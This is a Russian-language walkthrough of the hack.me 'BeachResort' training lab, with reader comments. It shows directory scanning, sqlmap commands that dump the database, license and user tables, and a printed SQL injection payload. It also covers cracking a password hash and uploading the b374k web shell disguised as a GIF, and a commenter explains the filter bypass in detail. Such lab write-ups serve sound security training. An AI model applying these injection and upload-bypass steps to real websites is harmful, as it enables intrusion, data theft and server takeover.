Всем доброго времени суток, сегодня не будет VulnHub'a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:
- Имя администратора сайта
- Название БД
- Список таблиц
- Список всех файлов в корневой директории CMS
- Лицензионный ключ
- Содержимое очень секретного файла
Приступим
После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent
Сканируем дальше:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent
Как и ожидалось, тут есть форма авторизации:
И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs
Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:
Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin
Переходим к списку таблиц:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables
Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump
Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump
Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:
$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt
И через несколько секунд получаем требуемый пароль:
2bfea2ff114ccd30d95e176a1d25346a:!superadmin!
Пробуем авторизоваться, и попадаем вот на такую страницу:
В целом ничего интересного, кроме страницы с возможностью загрузить изображение:
Попробовав загрузить простенький шелл, получаем ошибку:
Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:
Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:
Приступим к выполнению последних заданий, а именно получим список файлов и директорий:
Тут же находим файл secret.noop, который является последним звеном:
Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.
Комментарии (11)
masai
30.01.2017 01:50Я с использованными в статье инструментами не знаком, поэтому, возможно, мой вопрос глупый. Но почему все они запускаются через
sudo
?E_Sarf
01.02.2017 10:27Дело в том, что на некоторых дистрибутивах без sudo, например, dirsearch не видит вордлист, т.к. он лежит в системном каталоге /usr/share/, и папка /wordlist/ воспринимается как обычный файл без прав суперпользователя.
ilyaplot
30.01.2017 11:22+1Похоже на пример того, как использовать
прогу для взома сайтовсканеры. Руками намного интереснее, тем более такой простой пример. Я список таблиц получал через запросы в схему и group_concat. Получил море удовольствия. Не думаю, что мне было бы интересно использовать sqlmap для этого.SamDark
30.01.2017 20:50Я тоже сначала использовал одну из вариаций
group_concat
руками, а уже потом, чуть не начав писать свой инструмент, нагуглил sqlmap. Чувствовал себя довольным велосипедистом.
Retetshy
30.01.2017 15:18Кто-нибудь подскажет, где можно посмотреть инфу для новичка. Очень интересует, но как-то хорошего объяснения мало
Caf
30.01.2017 16:38+1Попробуйте www.hackthissite.org, там практические задания в песочнице по нарастанию от совсем простых до более сложных. На форуме есть темы посвященные каждому заданию, причем явные спойлеры удаляются, остаются только наводки.
sasholy
08.02.2017 11:54Подробнее можно как залить b374k? Благодарю.
GH0st3rs
08.02.2017 12:01Можно.
- Подготавливаете PHP файл с шеллом;
- В самое начало записываете сигнатуру GIF файла — это GIF89a (можно прям текстом, либо через HEX редактор);
- Затем так как там стоит 2 фильтра: первый на форме (JS скрипт), второй в php-коде страницы. Можно либо изменить JS и загрузить ему сразу нужный файл с нужными заголовками в запросе. Либо как это делал я — перехватить запрос в момент отправки и подредактировать его, указав расширение файла и MIME тип
jehy
Мило, но этот конкретный вариант мне кажется избыточно простым. Ну и было бы приятнее, если бы приложение больше было похоже на настоящее.
А вы встречали подобные приложения, у которых есть большое количество разработчиков, которые его регулярно обновляют и вносят туда новые фичи (или корректнее будет сказать «баги»)? Причём чтобы в идеале можно было собрать из уязвимых модулей свой вариант уязвимого приложения. А то довольно многие, включая меня, делают свои варианты приложений — а вот совместного творчества на эту тему я не видел.